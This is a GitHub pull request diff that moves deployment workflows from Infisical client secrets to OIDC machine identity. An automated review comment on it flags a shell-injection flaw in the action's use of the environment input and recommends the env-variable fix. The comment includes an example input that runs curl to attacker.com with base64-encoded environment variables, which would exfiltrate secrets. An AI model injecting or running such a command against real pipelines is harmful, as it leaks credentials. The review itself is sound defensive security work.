Skip to content
Open
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 18 additions & 11 deletions .github/actions/deploy-setup/action.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,30 +4,28 @@ inputs:
environment:
description: "Target environment for deployment, e.g. staging"
required: true
infisical_client_id:
description: "Infisical client ID for accessing secrets"
required: true
infisical_client_secret:
description: "Infisical client secret for accessing secrets"
required: true
install_gcloud:
description: "Whether to install the gcloud CLI (needed for gsutil/docker auth)"
required: false
default: "false"
infisical_machine_identity_id:
description: "Infisical machine identity ID for accessing secrets"
required: true

runs:
using: "composite"
steps:
- uses: Infisical/secrets-action@v1.0.9
- name: Pull infisical secrets into temporary file
uses: Infisical/secrets-action@v1.0.9
with:
client-id: ${{ inputs.infisical_client_id }}
client-secret: ${{ inputs.infisical_client_secret }}
env-slug: ${{ inputs.environment }}
method: "oidc"
identity-id: ${{ inputs.infisical_machine_identity_id }}
project-slug: "infra-deployment"
env-slug: ${{ inputs.environment }}
export-type: "file"
file-output-path: "/.env.infisical"

- name: Load Environment Variables
- name: Transform infisical secrets into make include file, load a few as environment variables
id: load-env
run: |
echo ${{ inputs.environment }} > .last_used_env
Comment on lines +28 to 31
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟣 This is a pre-existing script injection issue: ${{ inputs.environment }} is interpolated directly into shell commands before the runner executes them, meaning shell metacharacters in the value would be executed as arbitrary shell. This PR did not introduce the vulnerability (only the step name changed), but the fix is to pass the value through an env: variable and reference it as $ENVIRONMENT in the script.

Extended reasoning...

What the bug is: GitHub Actions evaluates ${{ inputs.environment }} before passing the string to bash. Any shell metacharacters in the value are executed as code, not treated as data. Lines like echo ${{ inputs.environment }} > .last_used_env, the sed redirect to .env.${{ inputs.environment }}, and . .env.${{ inputs.environment }} are all vulnerable.

Specific code path: In .github/actions/deploy-setup/action.yml, the load-env step has a run: block where expressions are evaluated at template-expansion time. GitHub's expression engine substitutes the value literally into the shell script string, then hands the resulting script to bash.

Why existing code doesn't prevent it: There is no quoting, sanitization, or allowlist validation of inputs.environment. Although the input is marked required: true, GitHub Actions does not restrict what characters can be passed via workflow_dispatch.

Step-by-step proof: Suppose a user with write access triggers the workflow with environment set to staging; curl https://attacker.com/?token=$(env|base64). GitHub Actions expands the run block to:

echo staging; curl https://attacker.com/?token=$(env|base64) > .last_used_env

Bash executes both commands, exfiltrating environment variables (including any secrets loaded by prior steps).

Pre-existing nature: Examining the diff, these lines carry no + prefix — they existed before this PR. The only change in this step was renaming it. The PR did not introduce or worsen the injection surface. Three of the four verifiers explicitly classified this as pre_existing.

Practical impact: The attack requires workflow_dispatch write access (trusted collaborators), limiting real-world risk to insider threat or compromised credentials. Still, it violates GitHub's explicit security hardening guidelines.

How to fix: Use an env: block on the step to capture the input, then reference the safe variable in the script:

env:
  ENVIRONMENT: ${{ inputs.environment }}
run: |
  echo "$ENVIRONMENT" > .last_used_env
  cat .env.infisical | sed "s/='\(.*\)'$/=\1/g" > ".env.${ENVIRONMENT}"
  set -a
  . ".env.${ENVIRONMENT}"
  set +a

Expand All @@ -44,6 +42,15 @@ runs:
echo "GH_WORKLOAD_IDENTITY_PROVIDER=${GH_WORKLOAD_IDENTITY_PROVIDER}" >> $GITHUB_ENV
shell: bash

- name: Load environment variables from Infisical
uses: Infisical/secrets-action@v1.0.15
with:
method: "oidc"
identity-id: ${{ inputs.infisical_machine_identity_id }}
project-slug: "infra-deployment-env"
env-slug: ${{ inputs.environment }}
export-type: "env"

- name: Setup Service Account
uses: google-github-actions/auth@v2
with:
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/build-and-upload-job.yml
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ jobs:
deploy:
name: Build and upload job to the ${{ inputs.environment }} environment
runs-on: ci-builder
environment: ${{ inputs.environment }}
permissions:
contents: read
id-token: write
Expand All @@ -45,9 +46,8 @@ jobs:
uses: ./.github/actions/deploy-setup
with:
environment: ${{ inputs.environment }}
infisical_client_id: ${{ secrets.INFISICAL_CLIENT_ID }}
infisical_client_secret: ${{ secrets.INFISICAL_CLIENT_SECRET }}
install_gcloud: "true"
infisical_machine_identity_id: ${{ vars.INFISICAL_MACHINE_IDENTITY_ID }}

- name: Set up Docker
env:
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/deploy-infra.yml
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ jobs:
deploy:
name: Deploy Infra to the ${{ inputs.environment }} environment
runs-on: ubuntu-22.04
environment: ${{ inputs.environment }}
permissions:
contents: read
id-token: write
Expand All @@ -43,9 +44,8 @@ jobs:
uses: ./.github/actions/deploy-setup
with:
environment: ${{ inputs.environment }}
infisical_client_id: ${{ secrets.INFISICAL_CLIENT_ID }}
infisical_client_secret: ${{ secrets.INFISICAL_CLIENT_SECRET }}
install_gcloud: "true"
infisical_machine_identity_id: ${{ vars.INFISICAL_MACHINE_IDENTITY_ID }}

- name: Run Terraform state migrations
if: inputs.plan_only == 'false'
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/deploy-job.yml
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ jobs:
deploy:
name: Deploy job to the ${{ inputs.environment }} environment
runs-on: ubuntu-22.04
environment: ${{ inputs.environment }}
permissions:
contents: read
id-token: write
Expand All @@ -46,8 +47,7 @@ jobs:
uses: ./.github/actions/deploy-setup
with:
environment: ${{ inputs.environment }}
infisical_client_id: ${{ secrets.INFISICAL_CLIENT_ID }}
infisical_client_secret: ${{ secrets.INFISICAL_CLIENT_SECRET }}
infisical_machine_identity_id: ${{ vars.INFISICAL_MACHINE_IDENTITY_ID }}

- name: Run Terraform state migrations
if: inputs.plan_only == 'false'
Expand Down
Loading